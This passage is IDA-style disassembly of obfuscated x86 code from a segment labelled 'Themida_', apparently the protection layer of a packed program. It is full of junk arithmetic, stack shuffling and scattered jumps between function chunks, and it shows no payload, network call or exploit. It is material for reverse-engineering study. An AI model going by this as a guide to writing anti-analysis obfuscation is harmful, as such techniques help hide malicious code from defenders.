		jmp	loc_569C9F
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_567F04:				; CODE XREF: sub_564EBE-AF4j
		push	ecx
		mov	ecx, 6DDF01B9h
		jmp	sub_56DBB0
; END OF FUNCTION CHUNK	FOR sub_564EBE
; ---------------------------------------------------------------------------


loc_567F0F:				; CODE XREF: Themida_:005665F7j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_567E20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_567F1F:				; CODE XREF: sub_5754DA-9087j
		mov	[esp+0], ecx
		push	dx
		push	ecx
		mov	cl, 22h
		shr	cl, 1
		sub	cl, 62h
		mov	dl, cl
		pop	ecx
		mov	ch, dl
		jmp	loc_56F1FB
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5692D3


loc_567F36:				; CODE XREF: sub_5692D3-283j
		pop	edx
		not	ecx
		xor	ecx, 719209DCh
		jmp	loc_56E1F0
; END OF FUNCTION CHUNK	FOR sub_5692D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_567F44:				; CODE XREF: sub_56C3E2-872Ej
		mov	[esp+8+var_8], ebx
		push	6403h
		mov	[esp+0Ch+var_C], esi
		mov	esi, 3EA866BFh
		mov	ebx, esi
		pop	esi
		shl	ebx, 2
		jmp	loc_5675C6
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_567F5F:				; CODE XREF: sub_56628B+1AE2j
		mov	ebp, [esp+4+var_4]
		jmp	loc_56133D
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_567F67:				; CODE XREF: sub_56B71F+3CE7j
		mov	[esp+0Ch+var_C], edx
		jmp	sub_5680AC
; END OF FUNCTION CHUNK	FOR sub_56B71F

; =============== S U B	R O U T	I N E =======================================



sub_567F6F	proc near		; DATA XREF: Themida_:0055FE98o

; FUNCTION CHUNK AT 00565DB7 SIZE 00000005 BYTES

		neg	dword ptr [esp+0]
		pushf
		jmp	loc_565DB7
sub_567F6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_567F78:				; CODE XREF: sub_574A21-BF8Bj
		xor	ebx, esi
		pop	esi
		not	ebx
		xor	ebx, 0D3AEDDE4h
		sub	esi, ebx
		pop	ebx
		push	3B29h
		mov	[esp+8+var_8], edx
		mov	edx, 0BE396B59h
		push	ecx
		push	edx
		mov	edx, 20926AF2h
		mov	ecx, 2892742Ah
		jmp	loc_561ED9
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_567FA4:				; CODE XREF: sub_561541+6B31j
		shl	edx, 4
		jmp	loc_56BE87
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_567FAC:				; CODE XREF: sub_561F05+21E1j
		push	341Bh
		jmp	loc_569215
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560C12


loc_567FB6:				; CODE XREF: sub_560C12+50B3j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	fs:[edx], ax
		jmp	loc_56022D
; END OF FUNCTION CHUNK	FOR sub_560C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_567FD8:				; CODE XREF: sub_574A21-B783j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_562AE0
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_567FF2:				; CODE XREF: sub_563BCC-F5Fj
		mov	ebx, [esp+0]
		push	edi
		mov	edi, esp
		push	7AFh
		jmp	loc_573D60
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_568002:				; CODE XREF: sub_567CF5-2204j
		add	dword ptr [esp+0], 4
		mov	esi, [esp+0]
		jmp	loc_566028
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_568011:				; CODE XREF: sub_561541+11j
		push	0
		sub	[esp+8+var_8], 6CCF6FA2h
		sub	[esp+8+var_8], ecx
		add	[esp+8+var_8], 6CCF6FA2h
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		jmp	loc_56FAF7
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------


loc_568036:				; CODE XREF: Themida_:00565BF5j
		mov	edx, 53826E44h
		push	edi
		jmp	loc_575052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_568041:				; CODE XREF: sub_56B1DC+A2CCj
		push	18C1h
		mov	[esp+4+var_4], esi
		push	1723h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	esi
		add	esi, 4
		push	edx
		push	ebx
		jmp	loc_56883D
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_568063:				; CODE XREF: sub_561541+113EAj
		pop	edx
		push	edx
		mov	edx, 3DC63CAh
		add	edx, 39D85D65h
		not	edx
		jmp	loc_567FA4
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560782


loc_568077:				; CODE XREF: sub_560782+2j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_560782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5729F9


loc_56807C:				; CODE XREF: sub_5729F9-12108j
		xor	bh, 71h
		sub	al, 75h
		sub	al, 0D5h
		sub	esp, 4
		jmp	loc_574774
; END OF FUNCTION CHUNK	FOR sub_5729F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_56808E:				; CODE XREF: sub_570CE4+C38j
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		and	ecx, 5E332EE5h
		not	ecx
		push	eax
		mov	eax, 4B5E4776h
		add	ecx, eax
		jmp	loc_56A138
; END OF FUNCTION CHUNK	FOR sub_570CE4

; =============== S U B	R O U T	I N E =======================================



sub_5680AC	proc near		; CODE XREF: sub_56B71F-37B5j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00562652 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566935 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056CA85 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056EFE6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573D79 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574FA5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00575026 SIZE 0000000B BYTES

		push	ebp
		pop	edx
		jmp	loc_56EFE6
sub_5680AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5680B3:				; CODE XREF: sub_56AB5E-7F4Fj
		mov	dh, 0C9h
		push	ecx
		jmp	loc_56639A
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570019


loc_5680BB:				; CODE XREF: sub_570019-ACE3j
		push	edx
		mov	edx, 2EFE17BEh
		mov	ebx, 1D6D198Dh
		add	ebx, edx
		pop	edx
		xor	ebx, 5E716461h
		add	edi, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	edi, ebp
		sub	edi, 121A552Ah
		pop	ebp
		xor	edi, [esp-4+arg_0]
		xor	[esp-4+arg_0], edi
		xor	edi, [esp-4+arg_0]
		pop	esp
		jmp	loc_566F8E
; END OF FUNCTION CHUNK	FOR sub_570019

; =============== S U B	R O U T	I N E =======================================



sub_5680F2	proc near		; DATA XREF: Themida_:0055FEE4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00564441 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B01A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DB46 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056EDD0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057229C SIZE 00000014 BYTES

		mov	ax, [esp+0]
		jmp	loc_57229C
sub_5680F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_5680FB	proc near		; DATA XREF: Themida_:0055FE6Co

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056227E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565A7A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568159 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00569B07 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B7A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B907 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056BF24 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056EFCA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F286 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570DA7 SIZE 00000008 BYTES

		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		push	42A3h
		mov	[esp+4+var_4], ebp
		jmp	loc_56F286
sub_5680FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_568111:				; CODE XREF: sub_56638C+3CBBj
		pop	esp
		push	edi
		mov	edi, 4
		add	esi, 1C927267h
		add	esi, 45F84011h
		add	esi, edi
		jmp	loc_562428
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_56812B:				; CODE XREF: sub_574AF3-889j
		mov	ebp, 4
		sub	ecx, 4E3E14ACh
		add	ecx, ebp
		add	ecx, 4E3E14ACh
		mov	ebp, [esp+4+var_4]
		jmp	loc_572AA0
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_568146:				; CODE XREF: sub_566117+968j
		push	544A1172h
		pop	ebp
		not	ebp
		push	eax
		mov	eax, 0FE96AA4Ch
		jmp	loc_56EE8F
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680FB


loc_568159:				; CODE XREF: sub_5680FB+3824j
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5680FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_568167:				; CODE XREF: sub_574656-4656j
		and	eax, ebp
		mov	ebp, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		push	dword ptr [edi+1Ch]
		push	[esp+10h+var_10]
		pop	ecx
		push	3008h
		mov	[esp+14h+var_14], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 3B952EDCh
		shr	ebx, 1
		shl	ebx, 1
		add	ebx, 2A396C85h
		and	ebx, 327604A0h
		xor	ebx, 20460024h
		jmp	loc_561566
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_5681AD:				; CODE XREF: sub_574949-2E90j
		mov	ecx, [esp+0]
		add	esp, 4
		mov	cl, 45h
		sub	cl, 0C7h
		jmp	loc_564A2D
; END OF FUNCTION CHUNK	FOR sub_574949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5681BD:				; CODE XREF: sub_5678CB+C3FDj
		mov	word ptr [esp+4+var_4],	bx
		mov	bh, 0BAh
		jmp	loc_56A46B
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_5681C8:				; CODE XREF: sub_571088-CF51j
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_573B54
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D3B7


loc_5681D4:				; CODE XREF: sub_56D3B7+Aj
		mov	esi, esp
		add	esi, 4
		push	ebp
		push	ebx
		push	312C0686h
		mov	ebx, [esp+10h+var_10]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		jmp	loc_570236
; END OF FUNCTION CHUNK	FOR sub_56D3B7

; =============== S U B	R O U T	I N E =======================================



sub_5681F5	proc near		; CODE XREF: sub_56331C+80BFj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055FFF4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563498 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005644A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565361 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056B32A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B761 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0056D777 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E93C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00573459 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005752F2 SIZE 00000014 BYTES

		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 0BF91C3Ch
		jmp	loc_56B32A
sub_5681F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_568206:				; CODE XREF: sub_560EA2+6B41j
		add	eax, 57DC0C1Eh
		push	401Ah
		mov	[esp+4+var_4], edx
		mov	edx, 10CE33FCh
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	edx, ebp
		pop	ebp
		xor	edx, 14522063h
		push	ecx
		push	ebx
		mov	ebx, 35C50E75h
		mov	ecx, 32685385h
		add	ecx, ebx
		pop	ebx
		push	139Ah
		mov	[esp+0Ch+var_C], esi
		mov	esi, 1A955822h
		sub	eax, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		sub	eax, ecx
		push	edi
		jmp	loc_5643DE
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_568256:				; CODE XREF: sub_561027+12A2Fj
		pop	edi
		add	esi, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		xor	ebp, esi
		pop	esi
		shl	ebp, 5
		jmp	loc_5697B4
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_56826D:				; CODE XREF: sub_56A608-5DCBj
		shr	ecx, 8
		jmp	loc_56B695
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_568275:				; CODE XREF: sub_561418+125C5j
		push	dword ptr [esp+0]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_567A18
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_568292:				; CODE XREF: sub_5673C3-4530j
		push	eax
		jmp	loc_56CC73
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------


loc_568298:				; DATA XREF: Themida_:0055FCD0o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_5682A8:				; CODE XREF: sub_56B1DC+7FAAj
		push	74F5h
		mov	[esp+8+var_8], esi
		push	eax
		mov	eax, 4A0655EAh
		shr	eax, 3
		inc	eax
		not	eax
		sub	eax, 0AE87BFB4h
		mov	esi, eax
		jmp	loc_5700D0
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_5682C8:				; CODE XREF: sub_5678CB+DB07j
		pop	ebp
		xchg	ecx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		movzx	eax, al
		lea	eax, [edi+eax*4]
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, esp
		jmp	loc_56EA81
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_5682E5:				; CODE XREF: sub_574A21-C543j
		xor	ebx, 780C0C1Fh
		push	7964h
		jmp	loc_5630FA
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5682F5:				; CODE XREF: sub_57354D-126D4j
		shl	esi, 2
		push	ebx
		jmp	loc_56C561
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_5682FE:				; CODE XREF: sub_572141-8406j
		mov	edx, [esp+8+var_8]
		jmp	loc_568DB2
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_568306:				; CODE XREF: sub_57523A+Dj
		pop	edi
		push	edx
		jmp	loc_575216
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56830D:				; CODE XREF: sub_564D26+78C6j
		and	esi, 55663864h
		shl	esi, 2
		push	44ECh
		jmp	loc_571C68
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_568320:				; CODE XREF: sub_56AB5E-5CBj
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 59646C4Fh
		jmp	loc_573A36
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_568334:				; CODE XREF: sub_560844+C6FDj
		push	edi
		mov	edi, 44C63F3Dh
		and	edi, 25592CFFh
		and	edi, 79D46746h
		inc	edi
		or	edi, 42D47DBEh
		sub	edi, 0F1F10797h
		sub	eax, edi
		pop	edi
		sub	eax, ebx
		add	eax, 50E37628h
		jmp	loc_573BEC
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_568362:				; CODE XREF: sub_570732-E242j
		add	esp, 4
		jmp	loc_574B0A
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------


loc_56836D:				; CODE XREF: Themida_:0056D133j
		pop	ecx
		sub	dword ptr [esp], 53826E44h
		push	ecx
		mov	ecx, 97E26D0h
		sub	[esp+4], ecx
		pop	ecx
		add	dword ptr [esp], 4D490347h
		push	ecx
		jmp	loc_569C25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56838D:				; CODE XREF: sub_574A21-DE8Aj
		push	esi
		mov	esi, 45A22812h
		and	ecx, esi
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		push	6C5Fh
		mov	[esp+8+var_8], esi
		mov	esi, 6D6F28DCh
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		push	ebp
		mov	ebp, 7AEA4A99h
		jmp	loc_567B2F
; END OF FUNCTION CHUNK	FOR sub_574A21

; =============== S U B	R O U T	I N E =======================================



sub_5683C0	proc near		; CODE XREF: sub_565AFE-1F9Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562BB0 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00566064 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566451 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056762A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056AAD8 SIZE 0000001A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	esp
		jmp	loc_56762A
sub_5683C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_5683CF:				; CODE XREF: sub_56B71F+6E6Bj
		push	ecx
		jmp	loc_563FBE
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_5683D5:				; CODE XREF: sub_56BD44-182Ej
		push	ecx
		mov	ecx, esp
		jmp	loc_56050E
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560D31


loc_5683DD:				; CODE XREF: sub_560D31+12E71j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		add	ebx, 4
		push	ebp
		push	edx
		mov	edx, 64A137E0h
		mov	ebp, 0E42D41CFh
		add	ebp, edx
		pop	edx
		xor	ebp, 48CE79ABh
		sub	ebx, 0C26105h
		add	ebx, ebp
		add	ebx, 0C26105h
		pop	ebp
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		jmp	loc_568AAC
; END OF FUNCTION CHUNK	FOR sub_560D31
; ---------------------------------------------------------------------------


loc_56841C:				; CODE XREF: Themida_:0057143Fj
		sub	esp, 4
		jmp	loc_5686E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_568424:				; CODE XREF: sub_5754DA-10ECAj
		add	esp, 2
		sub	esp, 4
		mov	[esp+6+var_8+2], ebx
		push	eax
		mov	ah, 0B6h
		mov	bl, ah
		jmp	loc_563077
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56843A:				; CODE XREF: sub_571088-522j
		mov	ecx, dword ptr [esp-4+arg_0]
		add	esp, 4
		jmp	loc_56EB60
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_568448:				; CODE XREF: sub_566400+8E56j
		push	edi
		jmp	loc_56FF20
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56844E:				; CODE XREF: sub_5685B2-2AF8j
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		jmp	loc_562FC6
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56845A:				; CODE XREF: sub_57549C+1j
		push	edx
		push	esi
		mov	esi, 24537A5Ch
		jmp	loc_5726A1
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_568466:				; CODE XREF: sub_571890-8C7Cj
		mov	esi, 50423DD9h
		sub	esi, 1C8838ECh
		inc	esi
		neg	esi
		add	esi, 3F12441Dh
		xor	esi, 4BD95EACh
		sub	ebp, esi
		pop	esi
		add	ebp, eax
		add	ebp, 40816183h
		push	[esp-4+arg_0]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_56BAFC
; END OF FUNCTION CHUNK	FOR sub_571890

; =============== S U B	R O U T	I N E =======================================



sub_5684A6	proc near		; DATA XREF: Themida_:0055FF3Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560232 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005610ED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056141E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005647A5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005652F3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565C22 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566C1C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056D54C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D78D SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056E8D6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E9A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00571541 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571DF1 SIZE 00000011 BYTES

		push	554Fh
		jmp	loc_5610ED
sub_5684A6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_5684B0:				; CODE XREF: sub_56BD44-383Fj
		dec	edx
		push	esi
		mov	esi, 4A40618Ah
		xor	esi, 0F9540B9Ch
		xor	edx, esi
		pop	esi
		add	eax, edx
		pop	edx
		add	ecx, eax
		jmp	loc_56462F
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_5684CA:				; CODE XREF: sub_574A21-78D1j
		xchg	edx, esi
		push	ebx
		mov	ebx, 471A3FF2h
		and	ebx, 47DF405Eh
		xor	ebx, 6A7B45C7h
		jmp	loc_5682E5
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_5684E3:				; CODE XREF: sub_574DC1-DB6Ej
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebp
		jmp	loc_56B3EF
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_5684FC:				; CODE XREF: sub_56BD44+1DFDj
		add	edx, 475E72DFh
		shr	edx, 3
		jmp	loc_5684B0
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DD54


loc_56850A:				; CODE XREF: sub_56DD54-8458j
		mov	edx, [esp-8+arg_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp-4+arg_0]
		pop	esp
		xchg	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	ax, word ptr [esp-8+arg_4]
		push	0A1Fh
		jmp	loc_570D58
; END OF FUNCTION CHUNK	FOR sub_56DD54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_568537:				; CODE XREF: sub_572669-D005j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_56FAAE
; END OF FUNCTION CHUNK	FOR sub_572669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575328


loc_56854C:				; CODE XREF: sub_575328-10190j
		xor	[esp+0Ch+var_C], 66760014h
		pop	ebp
		xor	ebp, 66760014h
		jmp	loc_573F72
; END OF FUNCTION CHUNK	FOR sub_575328
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B37


loc_56855F:				; CODE XREF: sub_566B37-19A8j
		mov	esi, [esp+8+var_8]
		add	esp, 4
		sub	ebx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	sub_56ACC0
; END OF FUNCTION CHUNK	FOR sub_566B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564EBE


loc_568575:				; CODE XREF: sub_564EBE+E0AAj
		sub	eax, ecx
		push	ebp
		mov	ebp, 7585596Dh
		sub	eax, ebp
		pop	ebp
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_5630CE
; END OF FUNCTION CHUNK	FOR sub_564EBE

; =============== S U B	R O U T	I N E =======================================



sub_56858D	proc near		; CODE XREF: sub_5648C6+9A2Ej

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00568B55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056A7D1 SIZE 0000002A BYTES

		push	ebp
		mov	ebp, 3B0A01E0h
		add	esi, ebp
		pop	ebp
		add	edi, esi
		pop	esi
		jmp	loc_56A7D1
sub_56858D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
